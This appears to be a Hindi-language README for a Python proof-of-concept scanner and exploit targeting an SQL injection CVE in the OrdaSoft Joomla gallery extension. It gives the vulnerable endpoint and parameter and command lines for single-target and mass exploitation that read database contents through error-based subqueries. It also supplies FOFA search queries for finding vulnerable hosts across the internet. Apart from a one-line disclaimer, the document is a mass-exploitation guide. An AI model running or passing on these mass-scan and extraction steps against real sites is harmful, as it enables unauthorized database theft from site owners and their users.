CVE-2026-88854 — OrdaSoft Joomla Gallery SQL Injection

Joomla के लिए OrdaSoft OS Responsive Image Gallery में CVE-2026-88854 के लिए Python 3 PoC स्कैनर/एक्सप्लॉइट।

सारांश

showSearchResult() / showSearchResultAjax() textsearch / searchText को $input->getVar() के माध्यम से पढ़ते हैं, जो उचित SQL escaping लागू नहीं करता। यह मान LIKE clause में concatenate किया जाता है। अनधिकृत विज़िटर UNION-शैली injection का उपयोग करके डेटाबेस सामग्री पढ़ सकते हैं।

सामान्य request surface:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

पुराने installs में task नाम searhResult (typo) हो सकता है।

आवश्यकताएँ

• Python 3.9+
• pip install -r requirements.txt

उपयोग

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

CLI विकल्प

आउटपुट (mass check)

सामान्य status मान (check)

Post-scan audit (audit_scan.py)

Mass check के बाद, administrator manifests को फिर से fetch करने और targets को विभाजित करने के लिए audit_scan.py चलाएँ:

Gallery version administrator/components/com_osgallery/osgallery.xml में <version> element से पढ़ा जाता है, न कि Joomla extension version= attribute से।

सीमाएँ

• Exploit mode MySQL error-based EXTRACTVALUE का उपयोग करता है; MariaDB/Postgres, disabled errors, या WAF no leak दे सकते हैं, भले ही CVE लागू हो।
• अकेले Boolean length diffs को confirmed SQLi नहीं माना जाता (ModSecurity 406 ने परीक्षण में false positives उत्पन्न किए)।
• Manifest version ≤ 6.2.6 exposure window दर्शाता है, हर host पर guaranteed exploitable SQLi नहीं।
• Subdirectory Joomla installs के लिए सही base URL आवश्यक है (जैसे https://host/site)।

FOFA / discovery संकेत

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Repository लेआउट

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Local target lists और run artifacts (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) .gitignore में हैं और इन्हें commit नहीं किया जाना चाहिए।

संदर्भ

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

कानूनी

केवल authorized security testing के लिए। लागू कानूनों और program नियमों का अनुपालन आपकी ज़िम्मेदारी है।